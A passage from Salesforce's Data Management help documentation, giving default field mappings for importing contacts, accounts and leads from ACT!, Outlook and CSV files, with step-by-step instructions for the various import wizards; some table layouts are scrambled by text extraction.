Contact: Business Fax Ext. Contact: First Name Contact: Other Address 1 Contact: Other Address 2 Contact: Other Address 3 Contact: Other City Contact: Other Country Contact: Home Phone Contact: Other State Contact: Other Postal Code Account: Type Contact: Last Name Contact: Mobile Phone Does not import Contact: Phone and Account: Phone

Phone Ext. Referred By Revenue

Contact: Business Phone Ext. Contact: Lead Source Account: Annual Revenue

748

Data Management

Preparing Your Data for Import

ACT! Field
State

Import Field Contact: Mailing State and Account: Billing State

Ticker Symbol Title Web Site Zip

Account: Ticker Symbol Contact: Title Account: Website Contact: Mailing Postal Code Account: Billing Postal Code

2nd Contact 2nd Phone 2nd Phone Ext. 2nd Title 3rd Contact 3rd Phone 3rd Phone Ext. 3rd Title

2nd Contact: Name 2nd Contact: Phone 2nd Contact: Phone Ext. 2nd Contact: Title 3rd Contact: Name 3rd Contact: Phone 3rd Contact: Phone Ext. 3rd Contact: Title

2nd Last Reach, 3rd Last Reach, Asst. Title, Last Contact: Note or Account: Note Attempt, Last Meeting, Last Reach, Last Results, (In Professional, Enterprise, Unlimited, and Developer Edition Letter Date, Pager, Spouse, User 1-15

organizations, you specify which fields import into a single contact or account note; separate notes are not created for each ACT! field.)

See Also:
Exporting from ACT!

Default Field Mapping for Outlook


Available in: All Editions except Database.com

This table details how Outlook fields map to Salesforce account and contact import fields during an individual data import. Outlook Field
Assistants Name

Import Field Contact: Assistants Name

749

Data Management

Preparing Your Data for Import

Outlook Field
Assistants Phone Birthday Business City

Import Field Contact: Asst Phone Contact: Birthdate Contact: Mailing City and Account: Billing City

Business Country

Contact: Mailing Country and Account: Billing Country

Business Fax

Contact: Fax and Account: Fax

Business Phone Business Postal Code

Contact: Phone Contact: Mailing Postal Code Account: Billing Postal Code

Business Street

Contact: Mailing Address and Account: Billing Address

Business Street 2

Contact: Mailing Address and Account: Billing Address

Business Street 3

Contact: Mailing Address and Account: Billing Address

Company

Account: Account Name and Contact: Account

Company Main Phone Department E-mail

Account: Phone Contact: Department Contact: Email

(The import wizard verifies this is a valid email address in the form: jsmith@acme.com)
First Name Home City Home Country Home Phone Home Postal Code Home Street Home Street 2

Contact: First Name Contact: Other City Contact: Other Country Contact: Home Phone Contact: Other Postal Code Contact: Other Address Contact: Other Address

750

Data Management

Preparing Your Data for Import

Outlook Field
Home Street 3 Job Title Last Name Manager's Name

Import Field Contact: Other Address Contact: Title Contact: Last Name Contact: Reports To (In addition, if the name in this field does not match an existing contact, a new contact is created with the managers name.)

Mobile Phone Notes Other Phone Referred By Title Web Page Account, Anniversary, Billing Information, Business Phone 2, Callback, Car Phone, Categories, Children, Directory Server, E-mail 2, E-mail 3, Government ID Number, Hobby, Home Fax, Home Phone 2, Internet Free/Busy Address, ISDN, Keywords, Language, Location, Middle Name, Mileage, Office Location, Organizational ID Number, Other City, Other Country, Other Fax, Other Postal Code, Other State, Other Street, Other Street 2, Other Street 3, Pager, PO Box, Primary Phone, Profession, Radio Phone, Spouse, Suffix, Telex, TTY/TDD Phone, User 1, User 2, User 3, User 4

Contact: Mobile Phone Contact: Description Contact: Other Phone Contact: Lead Source Contact: Salutation Account: Website Contact: Note or Account: Note (In Professional, Enterprise, Unlimited, and Developer Edition organizations, you specify which fields import into a single contact or account note; separate notes are not created for each Outlook field.)

See Also:
Exporting from Outlook Mapping Fields for Salesforce for Outlook

Field Mapping for Other Data Sources and Organization Import

751

Data Management

Preparing Your Data for Import

Available in: All Editions except Database.com Organization import not available in: Personal Edition , Database.com

If you are importing accounts and contacts for an organization, or importing individual data from sources other than Outlook or ACT!, the Import Wizards map the fields as correctly as possible. You must fine-tune the mapping before completing the import. Before importing your data, Salesforce recommends that you use Excel to label the columns in your import file with the labels listed below. Field length limits for each object are listed in the Salesforce Field Reference Guide. Note: The default mappings listed below are offered as a guide for importing; they do not ensure 100% accuracy in mapping your data. You must fine-tune the mapping in the Import Wizards. Remember that you can map the same field multiple times if necessaryfor example, for the account and contact address fields. Common Fields for Contacts and Accounts Label for Your Import File
Record Owner

Salesforce Field Contact: Contact Owner and

(Note: For individual imports, this field is not necessary, since Account: Account Owner all data you import is automatically owned by you. In addition, when importing records by Salesforce record ID, this field is ignored.)
Currency ISO Code

Contact: Contact Currency and

(Note: You can use this field only for organization imports in Account: Account Currency organizations that use multiple currencies. For more information, see Importing Multiple Currencies on page 738.)

Contact Fields Label for Your Import File


Assistant Asst. Phone Asst. Phone Ext. Birthdate Business Fax Business Fax Ext. Business Phone Business Phone Ext. Contact Description

Salesforce Field Contact: Assistant Contact: Asst. Phone Appended to Contact: Asst. Phone Contact: Birthdate Contact: Fax Appended to Contact: Fax Contact: Phone Appended to Contact: Phone Contact: Description

752

Data Management

Preparing Your Data for Import

Contact Fields Label for Your Import File


Contact Full Name or First Name & Last Name

Salesforce Field Contact: First Name and Contact: Last Name

(Note: When importing contact names, use either Contact Full Name or First Name and Last Name, but not both.)
Contact ID

Contact: Contact ID

(Note: Record IDs are case-sensitive and should not be changed.)


Contact Note Department E-mail Address

Creates a note attached to the contact Contact: Department Contact: Email

(Note: The import wizard verifies this is a valid email address in the form: jsmith@acme.com.)
Email Opt Out

Contact: Email Opt Out

(Note: Use 1 to indicate that user opts out; use 0 to indicate that user wants emails.)
Home Phone Home Phone Ext. Lead Source Mailing City Mailing Country Mailing Postal Code Mailing State Mailing Street 1 Mailing Street 2 Mailing Street 3 Mobile Phone Mobile Phone Ext. Other City Other Country Other Phone Other Phone Ext.

Contact: Home Phone Appended to Contact: Home Phone Contact: Lead Source Contact: Mailing City Contact: Mailing Country Contact: Mailing Address Zip/Postal Code Contact: Mailing State/Province Contact: Mailing Address Contact: Mailing Address Contact: Mailing Address Contact: Mobile Appended to Contact: Mobile Contact: Other City Contact: Other Country Contact: Other Phone Appended to Contact: Other Phone

753

Data Management

Preparing Your Data for Import

Contact Fields Label for Your Import File


Other Postal Code Other State Other Street 1 Other Street 2 Other Street 3 Reports To

Salesforce Field Contact: Other Address Zip/Postal Code Contact: Other State/Province Contact: Other Address Contact: Other Address Contact: Other Address Contact: Reports To

(Note: If the import wizard cannot find a contact that matches the name in this field, it will create a new contact using this value as the Contact: First Name & Last Name.)
Salutation Title 2nd Contact

Prefixed to Contact: First Name Contact: Title Split into Contact: First Name & Last Name for a second contact for the account Contact: Phone for a second contact for the account Appended to Contact: Phone for a second contact for the account Contact: Title for a second contact for the account Split into Contact: First Name & Last Name for a third contact for the account Contact: Phone for a third contact for the account Appended to Contact: Phone for a third contact for the account Contact: Title for a third contact for the account

2nd Phone 2nd Phone Ext.

2nd Title 3rd Contact

3rd Phone 3rd Phone Ext.

3rd Title

Account Fields Label for Your Import File


Account Description Account Division

Salesforce Field Account: Description Account: Account Division

(Note: You do not need to specify this field if you choose to assign the division via the drop-down list on Step 1 of the import wizard. If you do not map this field or use the division drop-down list, the division is set to the record owners default division for each record.)

754

Data Management

Preparing Your Data for Import

Account Fields Label for Your Import File


Account Fax Account Fax Ext. Account ID

Salesforce Field Account: Fax Appended to Account: Fax Account: Account ID

(Note: Record IDs are case-sensitive and should not be changed.)


Account Name

Account: Account Name and Contact: Account

Account Note Account Number Account Phone Account Phone Ext. Account Site Account Type Billing City Billing Country Billing Postal Code Billing State Billing Street 1 Billing Street 2 Billing Street 3 Employees Industry Ownership Parent Account

Creates a note attached to the account Account: Account Number Account: Phone Appended to Account: Phone Account: Account Site Account: Type Account: Billing City Account: Billing Country Account: Billing Zip/Postal Code Account: Billing State/Province Account: Billing Address Account: Billing Address Account: Billing Address Account: Employees Account: Industry Account: Ownership Account: Parent Account

(Note: If the import wizard cannot find an account that matches the parent account name, it will create a new account using this value as the Account Name.)
Parent Account Site

Account: Account Site (Note: Maps to the Account Site field in the parent account.) Account: Rating

(Note: Indicates the site value of Parent Account.)

Rating

755

Data Management

Preparing Your Data for Import

Account Fields Label for Your Import File


Revenue Shipping City Shipping Country Shipping Postal Code Shipping State Shipping Street 1 Shipping Street 2 Shipping Street 3 SIC Code Ticker Symbol Website

Salesforce Field Account: Annual Revenue Account: Shipping City Account: Shipping Country Account: Shipping Zip/Postal Code Account: Shipping State/Province Account: Shipping Address Account: Shipping Address Account: Shipping Address Account: SIC Code Account: Ticker Symbol Account: Website

Note: If you include record types in your import file, the Import Wizard uses the record owners default record type when creating new records. For existing records, the Import Wizard does not update the record type field. For more information, see Managing Record Types on page 1180.

Field Mapping for Importing Leads


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

When you import leads, the Import My Organizations Leads wizard and the campaign Import Leads wizard map the fields in your import file as correctly as possible, but you must fine-tune the mapping before completing the import. Prior to importing your leads, it is recommended that you use Excel to label the columns in your lead import file with the labels listed in the table below. Note: The default mappings listed below are offered as a guide for importing; they do not insure 100% accuracy in mapping your data. You must fine-tune the mapping in the Import Wizard.

Label for Your Import File


Annual Revenue City Company Country

Salesforce Lead Field


Annual Revenue City Company Country

756

Data Management

Preparing Your Data for Import

Label for Your Import File


Currency ISO Code Lead Currency

Salesforce Lead Field

(Note: You can use this field only for organizations that use multiple currencies see Importing Multiple Currencies on page 738.)
Description Email Description Email

(The import wizard verifies this is a valid email address in the form: jsmith@acme.com)
Email Opt Out Email Opt Out

(Use 1 to indicate that the user opts out; use 0 to indicate that the user wants emails.)
No. of Employees Fax Full Name orFirst Name & Last Name No. of Employees Fax First Name and Last Name

(Note: When importing lead names, use either Full Name or First Name and Last Name, but not both.)
Industry Lead Division Industry Lead Division

(Note: You do not need to specify this field if you choose to assign the division via the drop-down list on Step 1 of the import wizard. If you do not map this field or use the division drop-down list, the division is set to the record owners default division for each record.)
Lead ID Lead ID

(Note: Record IDs are case-sensitive and should not be changed.)


Lead Source Lead Source

(Note: You do not need to specify this field if you choose to assign the same Lead Source to all leads on the first page of the import wizard.)
Lead Status Mobile Phone Lead Status Mobile

757

Data Management

Accessing the Import Wizards

Label for Your Import File


Phone Postal Code Rating Record Owner Phone Postal Code Rating Lead Owner

Salesforce Lead Field

(Note: You do not need this field if assigning ownership via a lead assignment rule. In addition, when importing records by Salesforce record ID, this field is ignored.)
Salutation State Status

Added to beginning of First Name


State Status

(For campaign Import Leads wizard only)


Street 1 Street 2 Street 3 Title Website

(in the Campaign History related list of a lead)


Address Address Address Title Website

Note: If you include record types in this list, the Import Wizard uses the record owners default record type when creating new records. For existing records, the Import Wizard does not update the record type field. If you choose to use assignment rules, the Import Wizard uses the new owners default record type when creating new records. When the assignment rules assign the record to a queue, the queue owners default record type is used.

See Also:
Import My Organizations Leads

Accessing the Import Wizards


For Records You Own
Import wizards for records you personally own are located at Your Name > Setup > Import: Import My Contacts Import My Person Accounts

758

Data Management

Accessing the Import Wizards

For Your Organization's Records


Import wizards for organization-wide data are located at Your Name > Setup > Data Management: Import My Organizations Accounts and Contacts Import My Organization's Person Accounts Import My Organizations Leads Import My Organization's Solutions Import My Organization's Custom Objects

For Campaign Members


To access the campaign import wizards, view a campaign and click Manage Members. Then click the appropriate link: Add Members - Import File (Lead Import Wizard ) Update & Add Members - Import File (Campaign Update Wizard)

See Also:
Importing Overview Importing Articles FAQ: Importing

Import My Contacts
Available in: All Editions except Database.com

With the Import My Contacts wizard, any user can import up to 500 personal contacts and associated business accounts. Before beginning, make sure you have created an export file (see Creating Export Files for Import Wizards on page 739) and correctly prepared your data (see Preparing Your Data for Import on page 744). Note: We recommend you import a small test file first to make sure that you have prepared your import file correctly.

1. Start the wizard Navigate to Your Name > Setup > Import > Import My Accounts & Contacts, and click Start the Import Wizard!. Alternatively, click the Import My Accounts & Contacts link in the Tools area of the account home page. Note that the labels for business contacts and business accounts may have been renamed by your administrator, in which case the Import My... links may have customized text. 2. Select the source a. Specify the source application of your data - ACT!, Outlook, or other data source (any CSV file). b. Click Next to continue. 3. Upload the file a. Click Browse to load your file.

759

Data Management

Accessing the Import Wizards

b. If importing from ACT! or Outlook, click Import Now!, or click Customize Mappings to verify the field mappings. c. If importing from any other source, select the character encoding of the file. Most users will not need to change the default setting. d. Choose whether to match your contacts by name or by email. This field sets the criteria for avoiding duplicates. For example, if you are matching by email and a record in your source file has the same email as a record in Salesforce, then that record will be updated in Salesforce. If you are not matching by email and there is a record in Salesforcewith the same email, then a new record will be created. e. Choose Next to continue. 4. Map the fields a. On four different mapping pages, the wizard associates the Salesforce field names with the field names from your import file. You must check the default mappings and alter any incorrect mappings. For more information about the default field mappings, see Preparing Your Data for Import on page 744. b. Note that there is no Record Owner field; you are automatically assigned as the owner of any data you import. On the Map Account Fields page, check the Overwrite existing account values box if you want to overwrite existing business account fields with your import data. Note that you cannot use this checkbox to update existing field data with blank values. c. You can import data only into the fields that are editable for you in your page layout or field-level security settings. (See Managing Page Layouts on page 1188 and Field-Level Security Overview on page 622. Field-level security is available in Enterprise, Unlimited, and Developer Editions only.) d. When all fields are assigned correctly, click Next. 5. Map the miscellaneous fields a. The wizard reports the fields that do not map. In Professional, Enterprise, Unlimited, and Developer Edition organizations, you can choose whether the unmapped fields should be imported into an business account or contact Note or should not be imported at all. The fields are imported into a single business account Note or a single contact Note; separate note fields are not created for each import field. b. When all fields are assigned correctly, click Import Now!.

See Also:
Accessing the Import Wizards

Import My Person Accounts

760

Data Management

Accessing the Import Wizards

Person account import available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To import your own person accounts: Create on accounts AND Read on contacts AND Import Personal Contacts AND At least one person account record type available for your profile

With the Import My Person Accounts wizard, you can import person accounts that you own. To understand how person account records are matched to prevent duplicates, see What Is Imported for Person Accounts? on page 732. Note: Your administrator may have renamed person account to another term. If so, the import wizard will refer to the new name. Follow these steps to import your person accounts. Click each link for more details. 1. 2. 3. 4. 5. 6. 7. Launch the wizard Prevent duplicate records Select record type Upload your import file Map fields Confirm and submit your import Complete your import

Launch the wizard 1. To import your person accounts, choose Your Name > Setup > Import > Import My Person Accounts. Alternatively, click Import My Person Accounts in the Tools area of the accounts home page. 2. For best results, perform all of the steps provided on the introductory page. 3. Click Start the Import Wizard! to begin your import. Prevent Duplicate Records 1. Choose the field that you are using to match existing records in Salesforce with records in your import file. The External ID option is disabled if no external ID fields have been created for your records. 2. Choose what you want to happen if matches are found - only import new records, only update existing records, or update existing records and import new ones.

761

Data Management

Accessing the Import Wizards

Note: If you have chosen to match by Salesforce ID, you can only update existing records; you cannot import new ones. 3. Click Next. Select record type 1. Choose the record type that you want to assign to the records in your import file. 2. If you are inserting new records and updating existing records at the same time, then choose whether to override the record types of existing records. 3. Click Next. Upload your import file 1. Click Browse... to provide the location of your import file. 2. Choose the character encoding of your import file. In most cases, you can accept the default value. 3. Make additional settings depending on the setup of your organization, such as whether workflow rules will be triggered and the language of the records in the import file. 4. Click Next. Map fields 1. Map the fields in your import file to the appropriate Salesforce fields by matching the fields on the left, which includes all the columns in your import file, with the appropriate Salesforce field on the right. If the column labels in your import file exactly match field labels in Salesforce, the wizard automatically maps those fields for you. However, if two or more of your file's column labels are identical matches with a field in Salesforce, you must map the fields manually. Note: Some Salesforce fields cannot be updated using import, for example, the Created Date and Last Modified Date. So even though you may be using an exported report as your import file, some of the Salesforce fields in your file cannot be mapped. 2. Click Next. The import wizard warns you if you have not mapped all of the fields in your import file. Unmapped field values are not imported. Confirm and submit your import 1. Read any warning messages that the import wizard displays. Optionally, click Previous to return to earlier steps and resolve potential problems. 2. Click Import Now! to submit your import request to Salesforce. Complete your import 1. A message indicates approximately how long the import will take. When the import operation is finished, a message from Customer Support will be sent to the email address shown. 2. Click Finish to exit the wizard. 3. To monitor the status of your pending import, visit the import queue. See Using the Import Queue on page 828.

See Also:
Accessing the Import Wizards

762

Data Management

Accessing the Import Wizards

Import My Organizations Accounts and Contacts


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

With the Import My Organizations Accounts and Contacts wizard, administrators, and users with the Modify All Data permission, can import up to 50,000 business accounts and contacts at a time for multiple users. Before beginning, make sure you have created an export file (see Creating Export Files for Import Wizards on page 739) and correctly prepared your data (see Preparing Your Data for Import on page 744). Note: We recommend you import a small test file first to make sure that you have prepared your import file correctly.

1. Start the wizard. Go to Your Name > Setup > Data Management > Import Accounts/Contacts (or Import Business Accounts/Contacts if your organization uses person accounts). Review the steps provided on the welcome page, then click Start the Import Wizard!. Alternatively, click the appropriate link in the Tools area of the accounts home page. Note: If your organization uses person accounts and the labels for business accounts and business contacts have been renamed, the renamed labels will appear in the Tools area of the accounts home page, but not in the Data Management area under Setup. (Renamed labels do not appear in any pages under App Setup or Administration Setup.) 2. Create your import file. a. Follow the instructions to create an import file, or see Creating Export Files for Import Wizards on page 739. b. Click Next to continue. 3. Upload the file. a. Click Browse to load your file. b. Select the character encoding of your file. Most users will not need to change the default character encoding setting. c. Choose whether to match your organizations contacts by Salesforce ID, name, or email. Similarly, choose whether to match your organizations accounts by Salesforce ID or by name and site. Note that matching by Salesforce ID is inclusive of both contacts and accounts. These Matching Type fields set the criteria for avoiding duplicates. For example, if you are matching by email and a record in your source file has the same email as a record in Salesforce, then that record will be updated in Salesforce. If you are not matching by email and there is a record in Salesforce with the same email, then a new record will be created. Note that contacts are matched only within the same account. If contacts related to different accounts have the same name or email, they treated as separate contacts. d. Organizations that use the Translation Workbench can specify the language of the import data. e. If you use divisions, select a division to assign to all imported records. Alternatively, select None to use the record owners default division on each record, or specify the division in your import file. f. Select the checkbox to trigger workflow rules for new and updated records that match workflow rule criteria. g. Click Next to continue. 4. Map the fields.

763

Data Management

Accessing the Import Wizards

a. On four different mapping pages, the wizard associates the Salesforce field names with the field names from your import file. You must check the default mappings and alter any incorrect mappings. For more information about the default field mappings, see Preparing Your Data for Import on page 744. b. Remember to map the Record Owner field with your Record Owner field so that record ownership is assigned correctly. When importing records by Salesforce record ID, the Record Owner field in your import file is ignored. All records retain their existing owners; record owners cannot be updated using the import wizard. c. On the Map Account Fields page, check the Overwrite existing account values box if you want to overwrite existing account fields with your import data. Note that you cannot use this checkbox to update existing field data with blank values. d. When all fields are assigned correctly, click Next. 5. Map the miscellaneous fields. a. The wizard reports the fields that do not map. In Professional, Enterprise, Unlimited, and Developer Edition organizations, you can choose whether the unmapped fields should be imported into an account or contact Note or should not be imported at all. The fields are imported into a single account Note or a single contact Note; separate note fields are not created for each import field. b. When all fields are assigned correctly, click Next. 6. Review and confirm. a. If there are warnings on this page, stop the import process and correct your import file. b. Select Import Now! to send your import request. Your data is imported within the next 24 hours, and we notify you via email when the import is complete. Once the system begins processing, you cannot cancel the import (see Undoing an Import on page 774). 7. Check the Import Queue. a. You can use the Import Queue to check the progress of your import. Click Your Name > Setup > Monitoring > Imports. Alternatively, click the Import Queue link on the Import Wizard for My Organization page. For imports that have not begun processing, you can click Del to cancel the import. Note: If your organization uses territory management, your imported accounts are always evaluated by account assignment rules. See Territory Management Overview on page 2349.

See Also:
Accessing the Import Wizards

Import My Organization's Person Accounts

764

Data Management

Accessing the Import Wizards

Person account import available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To import your organization's person accounts: Import Person Accounts

With the Import My Organization's Person Accounts wizard, you can import person accounts that are owned by different users. To understand how person account records are matched to prevent duplicates, see What Is Imported for Person Accounts? on page 732. Note: If the label for person accounts has been renamed for your organization, the renamed label will appear in the import wizard itself and in the Tools area of the accounts home page, but not in the Data Management area under Setup. (Renamed labels do not appear in any pages under App Setup or Administration Setup.) Follow these steps to import person accounts for your organization. 1. 2. 3. 4. 5. 6. 7. 8. Launch the wizard Prevent duplicate records Specify owner and lookup relationships Select record type Upload your import file Map fields Confirm and submit your import Complete your import Note: The import wizard is dynamic; it displays different screens depending on what you are importing and the setup of your organization.

Launch the wizard To import person accounts for your organization: 1. Choose Your Name > Setup > Data Management > Import Person Accounts. Alternatively, click Import My Organization's Person Accounts in the Tools area of the accounts home page. 2. For best results, perform all of the steps provided on the introductory page. 3. Click Start the Import Wizard! to begin your import. Prevent duplicate records 1. The import wizard can compare the records in your import file with existing records in Salesforce in order to prevent duplicate records from being created as a result of your import. Indicate whether you would like to prevent duplicate records from being created. You must select Yes in order to update existing records. 2. If you choose Yes, then additional choices will appear: Choose the field that you are using to match existing records in Salesforce with records in your import file. The External ID option is disabled if no external ID fields have been created for your records.

765

Data Management

Accessing the Import Wizards

Choose what you want to happen if matches are foundonly import new records, only update existing records, or update existing records and import new ones. Note: If you have chosen to match by Salesforce ID, you can only update existing records; you cannot import new ones.

3. Click Next. Specify owner and lookup relationships 1. Specify the field in your import file that contains person account owners. When you choose Name, the following formats are valid: First name followed by last name Last name followed by first name Alias Username

For more information, see User Fields on page 32. 2. Records can have custom fields that create lookup relationships with other records. If you have included lookup fields in your import file, then check the corresponding boxes. Note: Any related records must already exist in Salesforce before proceeding. Related records will not be updated during your import even if your import file contains different values for fields on those related records. 3. Click Next. Select record type 1. Choose the record type that you want to assign to the records in your import file. 2. If you are inserting new records and updating existing records at the same time, then choose whether to override the record types of existing records. 3. Click Next. Upload your import file 1. Click Browse... to provide the location of your import file. 2. Choose the character encoding of your import file. In most cases, you can accept the default value. 3. Make additional settings depending on the setup of your organization, such as whether workflow rules will be triggered and the language of the records in the import file. 4. Click Next. Map fields 1. Map the fields in your import file to the appropriate Salesforce fields by matching the fields on the left, which includes all the columns in your import file, with the appropriate Salesforce field on the right. If the column labels in your import file exactly match field labels in Salesforce, the wizard automatically maps those fields for you. However, if two or more of your file's column labels are identical matches with a field in Salesforce, you must map the fields manually. Note: Some Salesforce fields cannot be updated using import, for example, the Created Date and Last Modified Date. So even though you may be using an exported report as your import file, some of the Salesforce fields in your file cannot be mapped.

766

Data Management

Accessing the Import Wizards

2. Click Next. The import wizard warns you if you have not mapped all of the fields in your import file. Unmapped field values are not imported. Confirm and submit your import 1. Read any warning messages that the import wizard displays. Optionally, click Previous to return to earlier steps and resolve potential problems. 2. Click Import Now! to submit your import request to Salesforce. Complete your import 1. A message indicates approximately how long the import will take. When the import operation is finished, a message from Customer Support will be sent to the email address shown. 2. Click Finish to exit the wizard. 3. To monitor the status of your pending import, visit the import queue. See Using the Import Queue on page 828.

See Also:
Accessing the Import Wizards

Import My Organizations Leads


Available in: Group, Professional, Enterprise, Unlimited, and DeveloperEditions

User Permissions Needed To use the Import My Organization's Leads wizard: Read, Create, and Edit on leads AND Import Leads

With the Import My Organizations Leads wizard, administrators, users with the Marketing User profile, or users with the Import Leads permission and Read, Create, and Edit permissions on leads can import up to 50,000 leads at a time for multiple users. Before beginning, make sure you have created an export file (see Creating Export Files for Import Wizards on page 739) and correctly prepared your data (see Field Mapping for Importing Leads on page 756). Note: We recommend you import a small test file first to make sure that you have prepared your import file correctly.

1. Start the wizard. Click Your Name > Setup > Data Management > Import Leads, and click Start the Import Wizard. 2. Upload the file. a. Select Browse to load your import file.

767

Data Management

Accessing the Import Wizards

b. If desired, select a value to import into the Lead Source field of all imported leads. Alternatively, you can assign the lead source via a Lead Source field in your import file. You must specify a Lead Source value that is not marked as Converted; leads with a Converted status will not be imported. c. Next, choose a lead assignment rule to determine the owners of imported leads (see Managing Assignment Rules on page 1218). If you have a Record Owner field in your import file, do not select an assignment rule. Without an assignment rule or a Record Owner field in your import file, all leads are assigned to the administrator doing the import. When importing records by Salesforce record ID, the Record Owner field in your import file is ignored. All records retain their existing owners; record owners cannot be updated using the import wizard. d. If you have chosen an assignment rule, select the Use assignment rule settings to send notification emails to record owners checkbox to send notification emails to owners of newly created leads. If you do not select the checkbox, no email notifications are sent, regardless of your assignment rule settings. e. Then select the character encoding of your file. Most users do not need to change the default setting. f. Choose whether to match your organizations leads by Salesforce ID, name, or email. This field sets the criteria for avoiding duplicates. For example, if you are matching by email and a record in your source file has the same email as a record in Salesforce, then that record will be updated in Salesforce. If you are not matching by email and there is a record in Salesforce with the same email, then a new record will be created. Select a matching type of None if you do not want to de-duplicate leads; a new record will be created for every lead in your import file. When importing new leads for a campaign, the Matching Type option is not available; the wizard does not merge duplicate leads. g. Organizations that use the Translation Workbench can specify the language of the import data. h. If you use divisions, select a division to assign to all imported records. Alternatively, select None to use the record owners default division on each record, or specify the division in your import file. i. Select the checkbox to trigger workflow rules for new and updated records that match workflow rule criteria. j. If your organization has multiple record types on leads, choose the active record type that will be applied to all leads in your import file. However, if you are logged in as a user who has a default lead record type selected at Your Name > Setup > My Personal Information > Record Type Selection > Lead, then this drop-down list does not display and your default lead record type is automatically applied to the imported records. k. Click Next to continue. 3. Map the fields. a. The wizard associates the Salesforce lead field names with the field names in your import file. You must verify the default mappings and alter any incorrect mappings. For more information about the default mappings, see Field Mapping for Importing Leads on page 756. Any unmapped fields are not imported. b. If you chose to avoid duplicate leads (that is, the selected Matching Type is not None), check the Overwrite existing lead values box if you want to overwrite existing lead fields with your import data. Note that you cannot use this checkbox to update existing field data with blank values. c. Click Next to continue. 4. Review and confirm. Choose Import Now! to send your import request. Your leads are imported within the next 24 hours, and we notify you via email when the import is complete. Once the system begins processing, you cannot cancel the import. See Undoing an Import on page 774. 5. Check the Import Queue.

768

Data Management

Accessing the Import Wizards

You can use the Import Queue link to check the progress of your import. Click Your Name > Setup > Monitoring > Imports. Alternatively, click the Import Queue link on the Import Wizard for My Organizations Leads page. For imports that have not begun processing, you can click Del to cancel the import.

See Also:
Accessing the Import Wizards

Import My Organization's Custom Objects


Custom object import available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To import custom objects: Modify All Data

With the Import My Organization's Custom Objects wizard, you can import custom objects. Follow these steps to import custom objects. Click each link for more details. 1. Launch the wizard 2. Choose the custom object 3. Prevent duplicate records 4. Specify owner, master-detail, and lookup relationships 5. Set lookup record matching 6. Select record type 7. Upload your import file 8. Map fields 9. Confirm and submit your import 10. Complete your import Note: The import wizard is dynamic; it displays different screens depending on what you are importing and the setup of your organization.

Launch the wizard 1. To import custom objects, choose Your Name > Setup > Data Management > Import Custom Objects. 2. For best results, perform all of the steps provided on the introductory page. 3. Click Start the Import Wizard! to begin your import. Choose the custom object 1. The first step of the wizard lists the custom objects that have been defined for your organization. 2. Identify the custom object you are importing by selecting the corresponding radio button. 3. Click Next.

769

Data Management

Accessing the Import Wizards

Prevent duplicate records 1. The import wizard can compare the records in your import file with existing records in Salesforce in order to prevent duplicate records from being created as a result of your import. Indicate whether you would like to prevent duplicate records from being created. You must select Yes in order to update existing records. 2. If you choose Yes, then additional choices will appear: Choose the field that you are using to match existing records in Salesforce with records in your import file. The External ID option is disabled if no external ID fields have been created for your records. Choose what you want to happen if matches are foundonly import new records, only update existing records, or update existing records and import new ones. Note: If you have chosen to match by Salesforce ID, you can only update existing records; you cannot import new ones.

3. Click Next. Specify owner, master-detail, and lookup relationships 1. Custom objects can be owned by users, or they can have a master-detail relationship with other records. For example, a custom object can have a custom field that creates a master-detail relationship with accounts. In that case, your import file must include the names or IDs of all associated accounts. If your custom objects are owned by users, then choose the field in your import file to use for matching record owners. When you choose Name, the following formats are valid: First name followed by last name Last name followed by first name Alias Username

For more information, see User Fields on page 32. If your records have a master-detail relationship with another kind of record, then choose the field in your import file to use for matching master records.

2. Records can have custom fields that create lookup relationships with other records. If you have included lookup fields in your import file, then check the corresponding boxes. Note: Any related records must already exist in Salesforce before proceeding. Related records will not be updated during your import even if your import file contains different values for fields on those related records. 3. Click Next. Set lookup record matching 1. If you checked one or more lookup fields in the previous step, select the field (name or ID) you are using to uniquely identify those related records. 2. Click Next. Select record type 1. If the records you are importing have record types, then choose the record type that you want to assign to the records in your import file.

770

Data Management

Accessing the Import Wizards

2. If you are inserting new records and updating existing records at the same time, then choose whether to override the record types of existing records. 3. Click Next. Upload your import file 1. Click Browse... to provide the location of your import file. 2. Choose the character encoding of your import file. In most cases, you can accept the default value. 3. Make additional settings depending on the setup of your organization, such as whether workflow rules will be triggered and the language of the records in the import file. 4. Click Next. Map fields 1. Map the fields in your import file to the appropriate Salesforce fields by matching the fields on the left, which includes all the columns in your import file, with the appropriate Salesforce field on the right. If the column labels in your import file exactly match field labels in Salesforce, the wizard automatically maps those fields for you. However, if two or more of your file's column labels are identical matches with a field in Salesforce, you must map the fields manually. Note: Some Salesforce fields cannot be updated using import, for example, the Created Date and Last Modified Date. So even though you may be using an exported report as your import file, some of the Salesforce fields in your file cannot be mapped. 2. Click Next. The import wizard warns you if you have not mapped all of the fields in your import file. Unmapped field values are not imported. Confirm and submit your import 1. Read any warning messages that the import wizard displays. Optionally, click Previous to return to earlier steps and resolve potential problems. 2. Click Import Now! to submit your import request to Salesforce. Complete your import 1. A message indicates approximately how long the import will take. When the import operation is finished, a message from Customer Support will be sent to the email address shown. 2. Click Finish to exit the wizard. 3. To monitor the status of your pending import, visit the import queue. See Using the Import Queue on page 828.

See Also:
Accessing the Import Wizards What Is Imported for Custom Objects? FAQ: Importing

Import My Organization's Solutions

771

Data Management

Accessing the Import Wizards

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To import solutions: Import Solutions

With the Import My Organization's Solutions wizard, you can import solutions. Follow these steps to import solutions. Click each link for more details. 1. Launch the wizard 2. Choose the type of solution (multilingual solutions only) 3. Prevent duplicate records 4. Specify author and lookup relationships 5. Set lookup record matching 6. Select record type 7. Upload your import file 8. Map fields 9. Confirm and submit your import 10. Complete your import Note: The import wizard is dynamic; it displays different screens depending on what you are importing and the setup of your organization.

